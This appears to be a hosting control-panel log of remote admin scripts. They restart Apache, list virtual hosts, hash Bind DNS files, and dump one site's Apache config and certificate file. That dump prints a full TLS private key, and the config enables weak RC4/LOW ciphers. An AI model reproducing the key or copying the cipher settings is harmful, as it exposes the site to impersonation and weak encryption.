	echo 'link(/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf= 1'
fi


2026-07-12 19:10:41: 

chmod 755 /tmp/pkp489124; /tmp/pkp489124; rm /tmp/pkp489124

2026-07-12 19:10:41: 




2026-07-12 19:10:41: 

PUT: /tmp/pkp444904

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-07-12 19:10:41: 

chmod 755 /tmp/pkp444904; /tmp/pkp444904; rm /tmp/pkp444904

2026-07-12 19:10:42: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-12 19:10:42: Establishing a connection
2026-07-12 19:10:42: 

PUT: /tmp/pkp962176

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-07-12 19:10:42: 

chmod 755 /tmp/pkp962176; /tmp/pkp962176; rm /tmp/pkp962176

2026-07-12 19:10:42: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
         port 80 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:2)
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:23)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
         port 443 namevhost login.vela.work (/etc/apache2/sites-enabled/vela_login_work.conf:22)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-07-12 19:10:42: 

PUT: /tmp/pkp386150

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-12 19:10:42: 

chmod 755 /tmp/pkp386150; /tmp/pkp386150; rm /tmp/pkp386150

2026-07-12 19:10:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf	1555

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-07-12 19:10:42: 

PUT: /tmp/pkp663063

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-07-12 19:10:42: 

chmod 755 /tmp/pkp663063; /tmp/pkp663063; rm /tmp/pkp663063

2026-07-12 19:10:42: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt	7501
94:c5:44:e3:5b:81:c5:a5:c1:ed:2f:0c:7f:ee:fa:1a

-----BEGIN CERTIFICATE-----
MIIFOTCCBCGgAwIBAgISBY27C4DIBFB/JZF1+8Osp0xmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNzEyMTgxMjA5WhcNMjYxMDEwMTgxMjA4WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAKSlwUJG0BCvhG09EmptNbW115v8n1eioB9fcK2jY0fN
jZWpl8cCzIf2X3g2uxnKLCq0Jvw7M1SIiE77EpVvxjr59Op9dpuFazHoXZR7pOlk
56miNGKS25zYoI1+lVHEHaLiwTR6psF7WE8QBeCQxke4bFt7Wp0Fxs3rEmWblErG
vqzGxLwTNrtxEpqihdQXZNMzS6j7AZ+iIDmYpBsosMp2A1CHoAXkXMfV/P2s3aJs
hMtHuLkWuxQ+U3st163YFfBbG2uWh4QwkvqerDC8za4hzHtQ5xZJCAhDhdGLcddB
ypln/CMRvlCJ3U/14od7gpoS48fBY96YxBEI1jZA7XsCAwEAAaOCAlAwggJMMA4G
A1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBR+Q1GJ+LX7sk4pGB6kVzjI4z1ieDAfBgNVHSMEGDAWgBRAFS0m
ee0yIJ7fmnId1jIfgQyBDDAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly95cjIuaS5sZW5jci5vcmcvMEsGA1UdEQREMEKCHWNocmlzdGFkZWxwaGlh
bmZyYXRlcm5hbC5pbmZvgiF3d3cuY2hyaXN0YWRlbHBoaWFuZnJhdGVybmFsLmlu
Zm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgwJjAkoCKgIIYeaHR0cDov
L3lyMi5jLmxlbmNyLm9yZy8xMDMuY3JsMIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5
AHYA1219ENGn9XfCx+lf1wC/+YLJM1pl4dCzAXMXwMjFaXcAAAGfV70e+AAABAMA
RzBFAiEAyd0/kBgyB7LwpwtMvHaHlrystiezNcYgL4r0mOd8p60CIHm8DzenWjFj
3aqlVjOGw1x+KYlJMi6wfYIEBBE92VN9AH8AGoudaw/+v4G0eTnG0jEKhtbRAtTw
RuIYLJ3jX14mJe8AAAGfV70iVgAIAAAFACj+LbAEAwBIMEYCIQD+VCxOIA/g0ZDA
vBk26iMlm07lts8GTaRSqUI89LzePwIhAP9ZKZSx9Nf7ZDyajr44OFjRWclkOaSz
niEyInY+2MApMA0GCSqGSIb3DQEBCwUAA4IBAQCbe2qsRBUEEI6P8VdTMWdZBlvw
A5RLGIry9wmHOP79/l4lXzXN9ri5K485MD2snlPScQNUibi5m6t3S7ps4W+Ei+xw
0ABSQoxHQACRz6sfZLlCTZFRaEpnYgEyiqAYHGRVpEDvt30tKwnTYBFmGXTVBWFO
hTV4s9o0TxSb566E6NYftqrw5+LzjInsMlbu7pDa3mdtRKcnoEY+uxCwimTaELRl
AuTrnik9/gHJM52ZiSJi/jSYhLYY5BqaNZowhriBBk+VwM3CzXTePpMfuBhrjn3p
75WgODaQVPvs7Q34/2Tslj3FeLk094WO+WDfwnUeTdUIrecBJUkGgNIx0dtA
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCkpcFCRtAQr4Rt
PRJqbTW1tdeb/J9XoqAfX3Cto2NHzY2VqZfHAsyH9l94NrsZyiwqtCb8OzNUiIhO
+xKVb8Y6+fTqfXabhWsx6F2Ue6TpZOepojRiktuc2KCNfpVRxB2i4sE0eqbBe1hP
EAXgkMZHuGxbe1qdBcbN6xJlm5RKxr6sxsS8Eza7cRKaooXUF2TTM0uo+wGfoiA5
mKQbKLDKdgNQh6AF5FzH1fz9rN2ibITLR7i5FrsUPlN7Ldet2BXwWxtrloeEMJL6
nqwwvM2uIcx7UOcWSQgIQ4XRi3HXQcqZZ/wjEb5Qid1P9eKHe4KaEuPHwWPemMQR
CNY2QO17AgMBAAECggEAKmf0vCy/5yRFr9sEdLvXEwuYUjlBExG0OxBaVaaY6gPz
vQHWsS+z3SrkEPLLwsszD/aheeKHiHS34tvAwBNvU35Qidqxo0G8R7jo7VbhNSnD
jwnTgzX+8UlMJNVfARXJakwL5gfXDktGBesDEIFJSGykH/XH81xrBVtPvDLTgWSA
MkwTJ4DAhFBQOZ8UuW5HgDHSBJynM7FcRMs4IhUGjAGpv08nJPxR5WS+KnQfI3v+
3YzzcTjKdH5y2xNTjQqmRuoWYiS6AYUkELBu8P0EpmHuBYtL9mnujMnzCyPKWzV8
ReWtkwPpjhGAsaZEgJA04u2XvwiR/JkXwED7oXnHYQKBgQDO3+QoAYfZCo/DtQkY
DuPcnD+2bFqNoKRPBtCouHsie78PbxSRNp1/Q6pAtty8qmOc48qxa0z/VnRRc8sD
yKTVaSXqooFL95Xx691BeGNhztB3tJgdA1MIrDtlKI0WpANK5qjsFvoH335I437S
Qu36r6ea0aQvj1AI5+KIZTPFGwKBgQDLvtZKUj87ELIpv3lgiZrsBk7nXQ6vTmqk
y+5Q432g2vwdZh5PIrMhxOQan5PAD+G9udsPUwBvhMfD/ZnbWA8wdV3ctRty06YA
qUFCarLFjWVEzIaUxNFqt/RxuQjUIu9mLNIigHD5Fx2Z2dZvR6DiSD7xkEKDYHVx
l1oozcbfIQKBgQDGNnz72+OWkGkI4gdxlqq6cLcXCaCFvJpR4bzBO+k3NAvvNMYn
EIY9Ls8MrGi5GCTTaOqHrcCbkfFnLaQh3vgYRmP++W8bI4D2x8A5/6hxSWAyocVx
XwMK90L9fKoaPFGvTWwisS0lp/zux5J20YwFOpJDY4SF0TGlJtDFUPoWawKBgEMt
7GhbECBAlA4x5SqQlLVoKxIcW+AvwfgOicjACcdFDUYAStQbA+eJjRC+NzBnzC4L
nxBBdO5QYLHd56IsOe3ndQh16tQEt0KWjD8DAWkkAxUZPvLEpqxCdWYd9axEzJzr
AGqB4T4wggEdk5fjjUevPJnX0CaTYoYOupqjpwQhAoGAGwntCISWjaDA8YaMpvCy
SYzTTkX6nw4nNdUN7cviZIr5TmUKlXSqa4GZWOIBA8yK1JrktCR3nmAaKJa/TCXf
KB09gKM/YvTLV0KIQ7DLRWjCkUpL5H67n90nVaiQFuH1GMU5EIQvd+DDbIVUseUZ
w2y9+UdQ9X2QzdCWspu2pVc=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2jCCAsKgAwIBAgIQTr0klH4k05SALYSlL9WzGTANBgkqhkiG9w0BAQsFADAu
MQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQMA4GA1UEAxMHUm9vdCBZUjAe
Fw0yNTA5MDMwMDAwMDBaFw0yODA5MDIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYw
FAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQDEwNZUjIwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDZ0LxwBppqh84luqMerV/eeL/fXQ7mLQQv1Lnp
WKZbyvGpx6wh6AfnslAnF6ewTkcHA+gSOoBvm3Dfm06AuGiF+KRut4fAcowqnAQQ
CW98+QPP/eOv/wug7Iyk4NkOxf2I6g2f55T6nJoOTLFcukeRq80JGQEYan+dPFr9
OGUgQK2hGKgNkW87pappsOAuUJcroYhRt5uUis4qaZireiseu32gzDJNBAiKtsvd
6HX4v25bpkRNcS/B/Gtc9kVbUpD+2PLPxdei3Tim55k4tfAEXwD2qyiPTxrTNq6l
N+AMr5g2c1dNqkOTwjxeV6L5lpP1rGiYvLnRaPlOqyZRPW+5AgMBAAGjge4wgesw
DgYDVR0PAQH/BAQDAgGGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMBIGA1UdEwEB/wQI
MAYBAf8CAQAwHQYDVR0OBBYEFEAVLSZ57TIgnt+ach3WMh+BDIEMMB8GA1UdIwQY
MBaAFN7nW2DQIm1AKH0/DQH+pLVStFGUMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEF
BQcwAoYWaHR0cDovL3lyLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAEC
ATAnBgNVHR8EIDAeMBygGqAYhhZodHRwOi8veXIuYy5sZW5jci5vcmcvMA0GCSqG
SIb3DQEBCwUAA4ICAQB0ZUQWZ9/Yn9COEpo+JfecMnB0h0vwDm/M66IqXqw3LoaL
mx9lZvRTeDIS67PUeI3yCA2W6PKRD0/FE/G57lOmS+Xy5AaaL00ICGOqjNcCaMWW
8o8nevHOd4i4lqgtznE/28QwlcdJyF8yBiWHpnyjhEpmNWJURgOCOg2xpwRMBCsj
MScqYPtOhBeuYQvSwAEeTML2Ukh6uGuX4E14q65Ja8cdjF5bAldnP1eE4FBaAwsZ
G2fOqqrKV03Y85Nw2btedP1AtliQuJZs/Jo/gXxXdc7LrH3McgnpnbTiAncX7yES
hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-07-12 19:10:58: Establishing a connection
2026-07-12 19:10:58: 

PUT: /tmp/pkp731918

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-12 19:10:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp731918; rm /tmp/pkp731918'

2026-07-12 19:10:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
